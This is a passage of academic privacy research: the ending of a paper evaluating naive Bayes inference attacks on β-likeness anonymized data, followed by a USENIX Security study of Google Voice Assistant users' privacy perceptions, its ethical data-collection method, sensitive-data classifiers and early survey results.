Pr[𝑡 𝑗 |𝑣𝑖] values from their unconditional counterpart, Pr[𝑡 𝑗 ];
𝛽-likeness bounds exactly those variations [11], while DP
bounds the effect of one’s participation in the data [31, 52].
By Bayes’ rule, Pr[𝑡 𝑗 |𝑣𝑖] = Pr[𝑣𝑖 |𝑡 𝑗 ]/Pr[𝑣𝑖 ]Pr[𝑡 𝑗 ]. For a given
SV 𝑣𝑖 , Pr[𝑣𝑖] is the prior confidence in 𝑣𝑖 based on the
global SV distribution, while Pr[𝑣𝑖 |𝑡 𝑗 ] is the posterior con-
fidence that 𝛽-likeness bounds as Pr[𝑣𝑖 |𝑡 𝑗 ] ≤ (1+ 𝛽)Pr[𝑣𝑖],
hence Pr[𝑡 𝑗 |𝑣𝑖] ≤ (1+𝛽)Pr[𝑡 𝑗 ], i.e., 𝛽-likeness compromises
an NB attack [11]. To validate this claim, we assess NB
attacks estimating Pr[𝑡 𝑗 |𝑣𝑖] =

(
count(𝑡 𝑗 |𝑣𝑖 ) + 𝛼

)/(count(𝑣𝑖 ) + 𝛼 · |𝑄𝐼 𝑗 |
),

where count(𝑡 𝑗 |𝑣𝑖) is the number of anonymized tuples with
SV 𝑣𝑖 and 𝑄𝐼 𝑗 value matching 𝑡 𝑗 ; we set 𝛼 to 0 in the classic
NB and to 1 with Laplacian correction (LC), yielding an
estimate between empirical probability count(𝑡 𝑗 |𝑣𝑖 )/count(𝑣𝑖 ) and
uniform probability 1/|𝑄𝐼 𝑗 |. In both cases, we return the 𝑣∗𝑖
maximizing Pr[𝑣𝑖 |𝑡]. Figure 11 reports accuracy as the ratio
of true predictions over all tuples. On generalized tuples, we
count each 𝑡 ′ having SV 𝑣𝑖 and generalized 𝑡 ′𝑗 containing 𝑡 𝑗 .
On PrivBayes’s data, we count noisy 𝑡 ′

𝑗
within a small nor-

malized distance 𝛿 from 𝑡 𝑗 ; we use 𝛿 = 0.1 with classic NB
in Figure11(a) and 𝛿 = 0.0495 with Laplacian Correction in

Figure 11(b), as these values yield best results; Figure 11(c)
presents our investigation on PrivBayes with the 𝛿 parameter
ranging from 0 to 1 and 𝜖 = 1.386 corresponding to 𝛽 = 3.
In Figure 11(a), the attack accuracy on data produced by 𝛽-
likeness algorithms is unaffected by 𝛽. PrivBayes, however,
becomes susceptible as 𝜖 grows. In Figure 11(b), the Laplacian
correction improves the attack accuracy on PrivBayes and
BuReL data, yet not much for heterogeneous 𝛽-likeness. We
emphasize that we measure resistance against the attack under
the same regime for all methods.
Our results show that heterogeneous 𝛽-likeness is more

resistant than PrivBayes andBuReL6 to learning-based attacks.
The only scheme that formally protects against learning-based
attacks, Pufferfish [36], requires knowledge of all possible
data distributions. Against adversaries knowing arbitrary
correlations, no scheme achieves both privacy and utility [45].

7 Conclusions
We introduced one-off anonymization schemes that shield
sensitive information by heterogeneous generalization, using
randomization to thwart adversaries who know the algorithm.
Our experiments show that these schemes incur lower informa-
tion loss andyet,by 𝛽-likeness,provide stronger resistance than
state-of-the-art differential privacy schemes to learning-based
attacks under our adversary model on real-world data.
Our schemes assume a single sensitive attribute. In case

several attributes are deemed sensitive, a non-trivial solution
would delimit the adversary’s confidence on a tuple’s deviation
from the joint distribution of sensitive values.

6Notably, BuReL offers the same 𝛽-likeness privacy guarantee as our
schemes, yet creates homogeneous groups that facilitate learning.
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Availability
Our code and data are at http://github.com/discont.
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Abstract

Today, intelligent voice assistant (VA) software like Ama-
zon’s Alexa, Google’s Voice Assistant (GVA) and Apple’s
Siri have millions of users. These VAs often collect and ana-
lyze huge user data for improving their functionality. However,
this collected data may contain sensitive information (e.g.,
personal voice recordings) that users might not feel comfort-
able sharing with others and might cause significant privacy
concerns. To counter such concerns, service providers like
Google present their users with a personal data dashboard
(called ‘My Activity Dashboard’), allowing them to manage
all voice assistant collected data. However, a real-world GVA-
data driven understanding of user perceptions and preferences
regarding this data (and data dashboards) remained relatively
unexplored in prior research.

To that end, in this work we focused on Google Voice
Assistant (GVA) users and investigated the perceptions and
preferences of GVA users regarding data and dashboard while
grounding them in real GVA-collected user data. Specifically,
we conducted an 80-participant survey-based user study to
collect both generic perceptions regarding GVA usage as well
as desired privacy preferences for a stratified sample of their
GVA data. We show that most participants had superficial
knowledge about the type of data collected by GVA. Worry-
ingly, we found that participants felt uncomfortable sharing
a non-trivial 17.7% of GVA-collected data elements with
Google. The current My Activity dashboard, although useful,
did not help long-time GVA users effectively manage their
data privacy. Our real-data-driven study found that showing
users even one sensitive data element can significantly im-
prove the usability of data dashboards. To that end, we built
a classifier that can detect sensitive data for data dashboard
recommendations with a 95% F1-score and shows 76% im-
provement over baseline models.

An extended version of this paper that includes the appendices is avail-
able for interested readers at https://osf.io/rgk95/.

1 Introduction

Voice assistants like Google’s voice assistant (GVA), Ama-
zon’s Alexa, Microsoft’s Cortana, or Apple’s Siri are ex-
tremely popular today as they are well equipped to perform
multiple tasks on users’ voice requests (e.g., searching the
internet, calling a friend, or playing music). However, these
voice assistants also collect and analyze a lot of user data
(e.g., timestamps, audio recordings, transcripts, etc.) to im-
prove their infrastructure across multiple devices (e.g., in both
smart speaker and smartphone). Unfortunately, this data can
lead to a huge possible privacy nightmare since the voice
assistant might be used in private situations. E.g., GVA col-
lects three types of potentially sensitive data—audio clips of
conversations, transcripts of conversations, and the ambient
location of use. We refer to individual records of these three
data types as data elements in this paper.

In this study, we take Google voice assistant (GVA) as our
experimental testbed. Previous studies on understanding user
perceptions and preferences for data collection by voice as-
sistants (such as [29, 40]) have mainly focused their attention
on smart speaker users. However, recent reports [23, 42] have
highlighted the significantly greater popularity of smartphone-
based voice assistants over their smart speaker counterparts.
Intuitively, smartphones are easier to use in more contexts
than smart speakers, multiplying potential privacy problems.
To that end, the exact same GVA software runs in both Google
smart speakers and Android smartphones, effectively aggre-
gating data from both. So, we focus on GVA users and con-
duct a real user-data driven study to uncover user perceptions
regarding GVA-collected data.

Specifically, to counter this problem of sensitive data collec-
tion, service providers like Google often provide a dashboard
to the users showcasing their GVA collected data (Google’s
My Activity dashboard). We noted that the dashboard in-
cludes data from both smart speakers and smartphones with-
out differentiating markers. However, the efficacy of these
data dashboards for controlling privacy in the GVA context is
not well-understood. To that end, we unpack user perceptions
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and preferences regarding data collection by GVA as well as
data dashboards through a two-part survey-based user study.
Our overall goal is to assess the usefulness/efficacy of data
dashboards. We specially focus on the context of data col-
lected by voice assistants (in smart devices) and investigate
the efficacy of these dashboards to enable the privacy goals
of users in that context.

Our research questions (RQs), as stated below, are designed
to unravel (i) whether data dashboards can indeed facilitate a
better understanding of what (possibly sensitive) data VAs col-
lect, and (ii) the particular helpful (or not so helpful) aspects
of data dashboards from a user-centric view. Our RQs also
investigate how to improve the usability of these data dash-
boards. In this study, we particularly contextualize our RQs
with our focus on GVA. We selected GVA primarily because
of the huge user base (boosted by the inclusion of GVA in all
Android smartphones). Even though our choice of GVA poses
some limitations, (e.g., GVA userbase and dashboard might
not necessarily represent all VA users or dashboards), our ap-
proach is still useful—findings from our study answer broader
questions about helpfulness of data dashboards in general and
take a step forward towards improving their usability.

RQ1- How frequently do Android users leverage GVA? What
is their GVA usage context?

Most (72.5%) of our participants had been using GVA for
around two years or more. 73.75% of participants used GVA
frequently, at least a couple of times a week in home, office
and car. For the median participant, GVA collected 837.5 data
elements. The context of using GVA ranged from getting
information to entertainment.

RQ2- What are the user perceptions regarding the data collec-
tion and storage practices of GVA? What is their ideal access
control preference for Google relative to their social relations
for accessing GVA data?

Although the majority (78.75%) of participants were aware
that Google collects and stores some form of data, around
40% of users were unclear about the type of data (e.g., audio
clips) being collected, signifying superficial knowledge. In-
terestingly, statistical analysis shows that relative to various
social relations (proxemic zones [21]), participants considered
Google mainly as a public entity.

RQ3- Do users desire to restrict access of Google to GVA
collected specific data elements? Do these access preferences
correlate with the data element class or the medium of the
data collection?

Participants wanted to restrict Google’s access for 121
(18.08%) out of 669 audio clips and 61 (17.03%) out of 358
transcripts presented in our survey, a non-trivial fraction of all
collected data. They had similar preferences for data collected
by smartphones and smart speakers but felt significantly less
comfortable viewing data elements where they did not know
or could not recall the device through which it was collected.
There were no significant differences in user privacy prefer-

ences for data elements from different control and possibly
sensitive classes (prepared from previous work [7, 27, 29]),
suggesting the inherent complexity of finding sensitive data.

RQ4- Do data dashboards help users to control the privacy
of their GVA data? Can we further assist users by automated
means to improve their privacy-preserving behavior by im-
proving the data dashboard? How?

50% of our participants did not know about the Google-
provided My Activity data dashboard. Most participants
found the dashboard easy to use; however, more long-time
GVA users expressed a need for assistance in using the dash-
board, suggesting a lack of effectiveness for larger amounts
of data. Showing users even one sensitive data element col-
lected by GVA using our simple class-based sensitive content
detection system made them highly (80%) likely to control
their collected data. This suggests that assisting dashboard
users through automated means might improve their privacy-
preserving behavior. We took the first step in this direction by
exploring an Machine learning (ML)-assisted human-in-the-
loop (HITL) based design for data dashboards. We show that
it is possible to create Machine learning-based systems to rec-
ommend sensitive content with more than 95% F1-score show-
ing a concrete, feasible direction to improve data dashboards.
We note that, although we used GVA as our experimental
testbed, our findings regarding the efficacy of data dashboards
as well on improving data dashboards could be extended to
contexts concerning other VAs. For example, our results show
that dashboards are indeed useful for tracking VA-collected
data. However, there also is a need for automated assistance
in using the dashboards, notably for long-term users to con-
trol the privacy of large amounts of accumulated data. These
findings are potentially useful for designing improved data
dashboards for any VAs.

The rest of the paper is organized as follows- The back-
ground and related work in Section 2. Our methodology is
explained in Section 3. We describe the data analysis in Sec-
tion 4. The survey results are presented in Section 5. In Sec-
tion 6, we explore ML as a possible improvement to recom-
mend sensitive data elements in data dashboards. Finally, we
conclude the paper in Section 7.

2 Background and Related Work

GVA capabilities and usage: GVA is an intelligent voice-
activated assistant software that Google introduced in May
2016 [28]. It allows users to perform a variety of actions
such as getting local information, playing media, perform-
ing a Google search, managing tasks, and more [38] through
simple voice-based commands. GVA supports cross-device
functionality and is available on a wide range of devices such
as smartphones, tablets, smartwatches, TVs, headphones, and
more [38]. As of 2020, GVA is available on more than 1 bil-
lion devices, spread across 90 countries and supports over
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Figure 1: GVA interface on an Android smartphone.

30 languages. It has more than 500 million monthly active
users [9], reflecting its immense popularity. Figure 1 shows a
visual of the GVA interface and some functionalities.

While most users of VAs use them on smartphones, tablets,
and smart speakers [11], recent privacy studies have been
paying increased attention to concerns surrounding the use of
smart speakers [34], primarily because they are always listen-
ing devices. However, several works point out the popularity
of VA residing in smartphones which can capture more di-
verse contexts and potentially private data. This work focuses
on GVA, which runs on both smart speakers and smartphones.

Privacy concerns with VAs: Privacy concerns surrounding
voice assistants have been studied extensively. Several re-
searchers have proposed different approaches to launch pri-
vacy attacks against voice assistants [4, 10, 45, 46]. Schon-
herr et al. explored the accidental triggering of voice assis-
tants [39], and Edu et al. conducted a detailed literature review
of Smart Home Personal Assistants (SPA) from a security and
privacy perspective [17]. They highlighted several key issues
such as weak authentication, weak authorization, profiling,
etc. Edu et al. also studied various attacks on SPAs, suggested
countermeasures, and discussed open challenges in this area.
Courtney further summarized various privacy concerns asso-
ciated with voice assistants [15].

In recent years, there have been multiple instances of data
leaks associated with voice assistants managed by promi-
nent technology companies [31, 33]. Such data leaks can
be a huge cause of privacy concern since VA collected data
can include sensitive data such as audio recordings, location
data, etc. Specifically, one interaction with GVA can lead to
multiple data elements—audio clip, transcript, and location—
depending on the controls set in Google-wide settings (e.g.,
Web & App Activity control, which is turned on by default and
enables Google to store transcripts, location, and other meta-
data for all interactions). For instance, Kröger et al. discussed
the threat of unexpected inferences (such as obtaining the

speaker’s identity, personality, age, emotions, etc.) from audio
recordings stored by microphone-equipped devices through
voice and speech analysis [24]. The two major classes of enti-
ties that can cause privacy violations with collected VA data
are (i) the technology companies who own the voice assis-
tants and store data on their servers (e.g., Google, Amazon,
etc.), and (ii) external third parties with access to collected VA
data, upon which technology companies might rely to review
collected data. These two entities comprise our threat model.

Managing privacy of VA-collected data: A possible alter-
native to prevent privacy violations is limiting and control-
ling the data collected by voice assistants. Over the years,
researchers have proposed several techniques for this pur-
pose, involving both hardware and software. Champion et al.
developed a device called the Smart2 Speaker Blocker to ad-
dress the privacy and security concerns associated with smart
speaker use [12]. The device functioned by filtering and block-
ing sensitive information from reaching the smart speaker’s
microphone(s). However, such an intervention cannot be used
in the case of smartphone-based voice assistants since smart-
phones are portable devices. Vaidya et al. proposed another
technique to limit privacy concerns (such as voice spoofing)
by removing certain features from a user’s voice input lo-
cally on the device [41]. Qian et al. additionally presented
VoiceMask, a robust voice sanitization and anonymization
application that acts as an intermediate between users and the
cloud [36]. Earlier work also developed a user-configurable,
privacy-aware framework to defend against inference attacks
with speech data.

While these techniques may be effective in checking pri-
vacy concerns, a significant downside is that they modify the
collected data, rendering it unusable by developers. This de-
feats the purpose of collecting data in the first place since
voice assistant developers need user data to train better ML
models and improve their services. Tabassum et al. presented
this as a privacy-utility trade-off, suggesting the development
of privacy frameworks that allow users to control the amount
of data collected by the voice assistant (in exchange for possi-
bly limited services) [40]. The survey conducted by Malkin
et al. on understanding the privacy attitudes of smart speaker
users also highlighted a demand for effectively filtering ac-
cidental recordings and sensitive topics [29]. We take a first
step in this direction by exploring a human-in-the-loop design
to identify and recommend sensitive data to GVA users.

Privacy dashboards: Following up on the recommendations
made by the Abramatic et al. for better user privacy con-
trol [2], Irion et al. advocated the use of privacy dashboards as
a practical solution to enhance user control for data collected
throughout the online and mobile ecosystem, including plat-
forms such as GVA [22]. They also highlighted the potential
of AI techniques and methods to users manage and enforce
their privacy settings. In this area, Raschke et al. presented
the design and implementation of a GDPR-compliant and
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Figure 2: Three key sections of our study—generic Survey 1,
ethical data collection and personalized Survey 2.

usable privacy dashboard [37]. In fact, to that end, Feth et al.
proposed generic requirement and quality models to assist
companies with developing privacy dashboards for different
domains [20]. Our research is motivated by this prior work on
the importance of privacy dashboards—we aim to uncover the
efficacy and possible improvement of today’s privacy dash-
boards by specifically focusing on a deployed system in our
real-world data-driven study.

Google My Activity data dashboard: The Google My Activ-
ity dashboard is the primary data privacy control provided by
Google for all its products and services. It is a hub where users
can see and modify all of the key information that Google
has been collecting about them over the years [35]. Figure 13
of Appendix C shows the user interface of the Google My
Activity dashboard. Since GVA’s launch in 2016, not much
work has been done on studying user perceptions and the
utility of such data dashboards to manage data privacy.

A recent and closely related study [19] investigated user
perceptions and reactions to the Google My Activity dash-
board. Through a survey, this study showed that viewing the
My Activity dashboard significantly decreases concern about
Google’s data collection practices. However, the authors were
unsure if the dashboard actually provided valuable assistance
in reviewing the collected data and enforcing user privacy. The
first part of our study partially revisits this work. However,
we answer several additional questions about the perceptions
and preferences of GVA users. We also answer some ques-
tions raised by this study, such as the effectiveness of the
Google My Activity dashboard to enforce user privacy. We
then present a possible solution to improve data dashboards—
through recommending sensitive data elements to users. We
also demonstrate a highly accurate proof-of-concept human-
in-the-loop-based machine learning model for the same.

3 Methodology

We conducted a two-part survey-based user study to unpack
perceptions and privacy preferences regarding GVA.

3.1 Recruitment and Inclusion Criteria

We deployed our study in the crowdsourcing platform Pro-
lific Academic [1] during September 2020. We recruited 18+
years old US nationals with >95% approval rating on Prolific.
Additionally, we required that our participants primarily used
an Android smartphone, used GVA more than once per month
in the past year, and were willing to install our browser ex-
tension to share their GVA-collected data. We took the help
of a short screening survey (Appendix A.1) which took less
than a minute with Prolific-suggested compensation of $0.11
to identify potential participants. Ultimately, we invited 249
participants (who satisfied our inclusion criteria) for partic-
ipating in our actual two-part study. Survey 1 and Survey 2
of our study (seven days apart) took a total of 52 minutes
and 42 minutes on average, respectively. We compensated
participants who completed both the parts with $12 ($5 for
part 1 and $7 for part 2). In total, 80 participants completed
both surveys (out of 119 who responded to our initial invita-
tion). This drop in the number of participants was potentially
due to the task description and eligibility in the recruitment
text. We consider the data from only these 80 participants in
this paper as we wanted to combine data from both surveys
(and, in effect, connect self-reported general perception from
Survey 1 with the user feedback on real-world GVA-collected
data in Survey 2).

3.2 Overview of Study Design

Figure 2 summarizes our institutional ethics committee-
approved study procedure. The study consisted of three main
sections- (i) generic Survey 1, (ii) Ethical GVA data collection
and (iii) personalized Survey 2. First, participants were ex-
plained the study design as well as the exact data they needed
to share. The participants who gave us informed consent first
took the generic Survey 1. This survey contained generic ques-
tions (instrument in Appendix A.2) regarding user knowledge
and usage of Android smartphones as well as GVA. After
completing Survey 1, participants installed a browser exten-
sion developed by us for ethical GVA data collection. Our
extension worked entirely on the client-side and helped users
create an archive of GVA data and upload it to their own
Google account. Then, the participants manually shared a
link to the online archive with us. Next, we leveraged an end-
to-end fully automated pipeline to fetch participants’ shared
GVA data and processed the data in a secure computer. No
researcher ever manually saw or analyzed the raw data. This
processing phase identified possibly sensitive data elements
collected by GVA. Then, within seven days of completing
Survey 1 and sharing data, we invited the participants to re-
turn for a personalized Survey 2 (instrument in Appendix A.3)
In Survey 2, we elicited user perceptions of a stratified sam-
ple of these possibly sensitive data elements. Since Survey 2
was generated programmatically for each participant using

3382    31st USENIX Security Symposium USENIX Association

https://osf.io/rgk95/
https://osf.io/rgk95/
https://osf.io/rgk95/
https://osf.io/rgk95/
https://osf.io/rgk95/


elements in their own GVA-collected data, we refer to it as a
“personalized survey”. We also showed each participant all of
their possibly sensitive data elements identified by our data
processing pipeline in a personalized Google Drive folder
(with named files and subfolders for categories) created by us.
Finally, we asked the participants about the utility of automat-
ically detecting sensitive GVA-collected data elements. Next,
we explain each of the three sections of our study.

3.3 Survey 1
Our participants provided their online informed consent be-
fore starting Survey 1. In the consent form, we highlighted
the purpose of our study, the specific data we would ask to
share, and our privacy-preserving data collection and process-
ing approach. Then, in Survey 1, we first asked participants
some general questions to uncover their usage of Android
smartphones and GVA. Next, drawing from earlier studies on
privacy concerns surrounding voice assistants, we designed a
set of GVA usage scenarios to ground the user and uncover
experiences with sensitive and even privacy-violating data
collected by GVA [7, 27, 29]. These scenarios ranged from
“Using inappropriate language” and “Using GVA in places
with audible background sounds” to “Accidental activation
of GVA” (complete list is in Appendix D). Then, our par-
ticipants self-reported whether they recalled using GVA in
these scenarios and their comfort in such contextual GVA
usage. After this, participants responded to questions about
their perceptions regarding GVA data collection (in general
and under different transmission principles [5]), storage, and
access, including a few questions specifically about Google
My Activity dashboard. Finally, we concluded Survey 1 by
asking questions related to general privacy attitudes.

3.4 Ethical Collection of GVA Data
Given the sensitive nature of the GVA-collected data elements,
we wanted to collect it in the most ethical manner possible,
as we will describe next. Our data collection protocol and
analysis plan were thoroughly evaluated and approved by
our Institutional Ethics Committee (equivalent to an IRB).
Participants were briefed about the data collection process
through the consent form at the beginning of the study.
Deciding on an ethical data collection protocol: We ex-
plored several options to collect GVA data ethically from
users along with their downsides—a client-side data-analysis
approach was infeasible due to the scale of data and com-
putation, a Google password sharing approach encouraged
oversharing private data, and approaching Google to ana-
lyze user data and performing our study could potentially be
perceived as diminishing user agency. We finally asked our
participants to use Google Takeout 1, create an archive of only

1A Google service that enables users to export part or all of data elements
stored in Google servers in an archive file [43].

Class Description med. #
audio-noise Audio with high background noise 3
audio-non-bkgd Audio with low background noise 94
audio-multi-
spkr

Audio with multiple speakers 36

audio-non-gend Audio with non-dominant gender
speaker

57

audio-grammar Audio with grammatical error 9
audio-non-eng Audio with non-standard English word 51
audio-regret Audio with regret word 25
audio-neg-sent Audio with negative sentiment 32
audio-rand Audio not in the above categories -
transcript-typo Transcript with grammatical error 5
transcript-non-
eng

Transcript with non-standard English
word

28

transcript-regret Transcript with regret word 20
transcript-neg-
sent

Transcript with negative sentiment 19

transcript-rand Transcript not in the above categories -
location Location data (e.g., latitude-longitude) 10

Table 1: Description of fifteen classes from Survey 2 for
classifying GVA collected audio clips, transcript and location
data. The last column signifies the median number of data
elements per user for our participants.

GVA data by selecting specific options in the Google Takeout
interface, and share the archive file with us after reviewing
the data. We created a Firefox browser extension to facili-
tate data collection—(i) The extension automatically selected
the right options in the Google takeout interface (in client
browser) to create an archive with only GVA data by choosing
the right options in the Google Takeout interface). This ap-
proach diminished the chances of oversharing (e.g., chances
of accidentally adding all their emails). (ii) The extension
automatically selected the option provided in Google Takeout
to create an archive in a user’s own Google cloud storage 2

(associated with Google account). A participant shared their
unique link with us to allow processing of their archive file.
Ensuring privacy of our collected data: In our protocol,
participant GVA data could only be accessed using unique
individual links Moreover, we informed the participants that
they could revoke access anytime, All GVA-collected data
was anonymous since it did not include any email or names
of users. On receiving a link, an automated pipeline checked
the validity of the data (using data type and folder structure of
the shared data) and invited only participants with valid data
for Survey 2. All data processing was automated (no manual
exploration of raw GVA-data) and was done in password-
protected computers accessible only to the researchers.

3.5 Survey 2
Our personalized Survey 2 primarily involved eliciting user
reactions regarding specific data elements collected and stored

2We took due consent to store and share this data in participants’ personal
cloud storage. The consent form is in Appendix A.2.
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by GVA. We start with our data processing pipeline to select
data elements for Survey 2.

Creating a classifier to categorize data elements: We iden-
tified (and leveraged in Survey 1) a set of privacy-violating
scenarios where according to earlier work, potentially sensi-
tive data might be collected by GVA [7, 27, 29]. We analyzed
these scenarios to create twelve classes that encompass po-
tentially sensitive GVA-collected data elements. These data
elements were broadly of two types—GVA-collected audio
clips and transcripts of the commands given to GVA. Aside
from these twelve classes, we considered three additional
classes—a separate class “location” for location data, and two
separate classes (“audio-rand” and “transcript-rand”) which
identify audio clips and transcripts not belonging to any of the
twelve classes and act as a baseline for data elements. These
total fifteen classes are presented in Table 1.

We then created automated classifiers to categorize data
elements in each of these classes for each user. These classi-
fiers primarily relied on off-the-shelf signal processing (e.g.,
measuring Signal to Noise Ratio or detecting the number
and gender of speakers) and NLP techniques (finding a gram-
matical error, non-English word or negative sentiment). We
created one binary classifier for each of the above-mentioned
twelve classes in Table 1 (aside from “location”, “audio-rand”
and “transcript-rand” classes). These classifiers categorized
GVA-collected audio clips and transcripts into one or more
of these classes. The motivation and detailed description of
each classifier is in Appendix D.

Selecting individual data elements for Survey 2: Once we
classified each data element into one or more categories (with
the help of classifiers) from Table 1, we used a stratified
sampling approach. In short, we randomly selected one data
element from each category (without replacement) and used
them to create the Survey 2 questionnaire. We also created a
personalized Google Drive folder for each participant to re-
view in Survey 2. The folder contained all possibly sensitive
data elements found in their GVA data, arranged in thirteen re-
spectively named files and subfolders (excluding “audio-rand”
and “transcript-rand” categories). Note that our pipeline han-
dled all of the above tasks automatically. Once personalized
Survey 2 was generated, one researcher manually invited the
corresponding participant (within seven days of data upload)
to participate in Survey 2 via messaging on Prolific.

Overview of Survey 2: We created a personalized Survey 2
(instrument in Appendix A.3) for each participant using at
most fifteen selected data elements, depending on the pres-
ence/absence of a particular class. During the survey, we first
showed these data elements randomly to the participants and
correspondingly asked some related questions, e.g., what are
the contents of the data element and how comfortable is the
participant in sharing it with people in different proxemic
zones [21] as well as Google. Note that participants were not
provided with any clue about the possibly sensitive nature

of these data elements at this stage of Survey 2. Next, we
gave participants a brief explanation of the respective classes
from which the data elements for their personalized survey
were selected. The participants also rated the accuracy of
those explanations. Then, to demonstrate the possible output
of automated techniques to uncover sensitive data elements,
we asked participants to review a personalized Google Drive
folder with named files and subfolders containing categorized
possibly sensitive GVA data. Then we asked questions to
measure user awareness about GVA after seeing this folder.
We concluded by asking about the utility of an automated
system for detecting sensitive GVA-collected data. In the end,
we gave instructions to uninstall the browser extension.

3.6 Limitations

First, our study is limited in recruitment since we recruited
only US Prolific users who primarily use Android smart-
phones and are familiar with GVA. In other words, we might
have chosen primarily English speaking users who are also
more frequent Android and GVA users than average. How-
ever, US-based users are still an important portion of the GVA
user base and any privacy issue uncovered by exploring ex-
perienced GVA users possibly also affects lesser experienced
users. Second, we focused on GVA users who also used an
Android device as their primary smartphone. Since GVA is
also available in iOS and third-party IoT devices, we might
have missed those users. However, this is expected since, in
this study, we aimed to investigate the most prominent users of
GVA—Android users (GVA is installed by default in Android,
unlike iOS). Consequently, some of our survey participants’
perceptions about data collection might not be representative
of data collected by other voice assistants, which might be
used in a different context (e.g., a voice assistant integrated
into a children’s toy Third, a few of our participants might
consider some of our questions as probing based on both lan-
guage of the question and their prior experience—introducing
bias in some of our self-reported data-based results. Lastly,
our results might have underestimated privacy needs as very
privacy-sensitive individuals would be unlikely to participate
in a study that aimed to investigate their GVA data. Not cov-
ering such privacy-sensitive individuals is a common concern
with user studies related to privacy [30]. However, we strongly
feel that this work is still valuable since we unpack common
privacy perceptions of GVA users regarding their data and
identify possible avenues to improve data dashboards and
simplify privacy controls for this data.

4 Data Analysis

We performed both quantitative and qualitative analyses of
participants’ survey responses. In this section, we briefly elab-
orate on our data analysis process.
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Qualitative open coding: We performed qualitative open
coding to analyze free-text responses [25]. First, an author an-
alyzed the responses to each question and created a codebook.
Next, two researchers independently coded the responses us-
ing this shared codebook. Across all questions, Cohen’s kappa
(inter-rater agreement) ranged from 0.769 to 1.0 signifying
near-perfect agreement. At last, the coders met to resolve
disagreements and finalized a code for each response.

Quantitative statistical analysis: To gain more insight into
the collected quantitative data, we performed several statis-
tical tests [16, 18]. When the independent variable was cate-
gorical, and the dependent variable was numerical, we found
all distributions were non-normal (using the Shapiro Wilkes
test) and nearly all independent variables with more than two
levels. Therefore, we decided to opt for the Kruskal Wallis
test for comparing distributions in such cases. When both
independent and dependent variables were categorical, we
used either the χ2 test or Fisher’s exact test (when individual
cell values in the contingency table were < 5) to find signifi-
cant correlations. We also used difference in proportions as a
measure of effect size in our analysis. Apart from statistical
tests, we used standard evaluation metrics such as accuracy,
precision, and recall to test our prediction model [3, 8].

5 Results

In this section, we present results from our study on under-
standing user perceptions and privacy preferences regarding
GVA data. Unless otherwise specified, results in this section
will correspond to self-reported data and not actual usage
data. In specific analyses (e.g., sharing comfortability) involv-
ing audio clips and transcripts from Survey 2, we sometimes
discounted very few elements due to lack of user feedback.

5.1 Participants
A total of 80 participants completed both Survey 1 and Sur-
vey 2. We start by checking the basic demographics of those
participants in this section.

Basic demographics: Our participant pool had a slight gender
bias—68.8% self-identified as male, 30% as female, and 1.2%
as non-binary. In terms of age—30% were 18-24 years old,
31.3% were 25-34 years old, and 26.3% of the participants
were between 35 and 44 years. Our participants self-identified
themselves with several ethnicities—66.3% reported them-
selves as White, 13.8% as Asian or Pacific Islander, 8.8% as
Black or African American and 6.3% as Hispanic or Latino.
The rest had mixed ethnicity. The majority of our participants
were employed—47.5% employed full-time and only 20%
identified as students. In our sample, 53.75% of participants
had a bachelor’s degree or higher, and only 30% were asso-
ciated with computer science or a related field. Overall, our
participants came from a wide demographic spread.

Usage of Android smartphones: Even though we did not
specifically attempt to recruit long-time Android users, 91.3%
of our participants reported using an Android smartphone
for three years or more. Furthermore, 90% of participants
also mentioned using their current Google Account on An-
droid smartphones for three years or more. We had an active
Android-user sample— 61.3% of participants used their smart-
phones daily for 2 to 6 hours and 26.3% for 6 to 10 hours
and 6.3% daily for more than 10 hours. The participants
used different smartphone applications—54.5% participants
had more than 50 apps on their phones at the time of the
study. The majority of our participants were familiar with
advanced Android features such as rooting, developer options,
and launchers (over 70% participants for each). In our sample,
87.5% of participants owned devices running recent Android
versions (9 or 10) manufactured by nine different manufactur-
ers. Overall, our participants were long term Android users,
well aware of advanced features, and had moderate to high
daily usage.

5.2 Characterizing GVA usage (RQ1)

In this subsection, we present results on general usage patterns
of GVA as well as the context for such usage.

General usage: 72.5% of our participants were long-time
GVA users, with 43.8% participants using GVA for three
years or more, and 28.8% using it for two years and 17.5%
for a year. In terms of usage frequency, 43.8% of participants
used GVA at least once a day, 30% used it a couple of times
per week, and the remaining 26.2% of participants used it
once a week to a couple of times per month. Participants
used different methods to activate GVA (with some using
multiple methods)—76.3% of participants used a hotword
(e.g., “OK Google”), and 56.3% activated GVA by touching,
pressing, or holding buttons on their device. Interestingly,
97.5% of participants used GVA in three broad zones: home,
office, and car encompassing both professional and personal
lives. Additionally, 38.8% of participants also reported using
Google smart speakers. Using actual usage data collected in
part 1 of the study (as described in Section 3.4), we found
that interactions with GVA resulted in 138,874 data elements
stored in Google’s servers. The median participant had 837.5
data elements, signifying non-negligible usage of GVA. An
overview of participants’ GVA data is in Table 2 and year-
wise statistics are in Table 10 of Appendix C.

Understanding context of GVA usage: To understand the
context for using GVA, we analyzed participant responses to
the question-For what purposes do you use Google Assistant
on your Android smartphone? from Survey 1. The common
reasons for using GVA were getting local information (50),
communicating with others (29), resolving a query (28), play-
ing audio and video files (27), navigating through devices
(25), controlling other devices (24), entertainment such as
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Data element Total Min. Median Max.
# Audio w/ transcript 83,635 12 354 19,451
# Only transcripts 55,243 0 273.5 4671
# Ambient location 84,309 1 407.5 12,504
Total # data elements 138,878 16 837.5 22,073
Age of data (yrs.) NA 1 3 8

Table 2: Overview of participants’ GVA data.

games, jokes, etc. (16), and planning their day (14). Thus,
participants used GVA for a wide number of purposes.

Usage of GVA in smartphones: For each of the 1,027 data
elements (audio and transcript) presented in Survey 2, we
asked participants to choose the device that, according to
them, collected each data element (GVA can run in multiple
devices). Participants reported that 494 (73.9%) out of 668
audio clips were collected by GVA installed on smartphones,
whereas smart speakers collected only 92 clips, indicating a
bias towards smartphones for GVA usage. For a non-trivial 81
clips, participants either did not recall or even did not know.
The results are similar for transcripts where 229 (63.78%) out
of 359 transcripts were collected by GVA on smartphones,
and smart speakers collected 57 transcripts; the participants
could not recall or didn’t know the source for the rest. Thus,
most data elements presented in Survey 2 were collected by
GVA on smartphones. We note that this bias towards GVA use
on Android smartphones could be because of our inclusion
criteria since we recruited users of Android, which has GVA
pre-built into it. Still, our finding hints at an important domain
of heavy data collection by GVA on smartphones in a wide
variety of contexts.

Summary: 73.8% of our participants used GVA frequently
(at least a couple of times per week or more). The majority
of GVA usage happened in smartphones in multiple contexts,
and our median participant contributed a total of 837.5 data
elements. The median age of GVA data was 3 years.

5.3 User Perceptions of GVA Data (RQ2)
Next, we check whether participants understood how Google
handled any GVA-related data. Specifically, we investigate
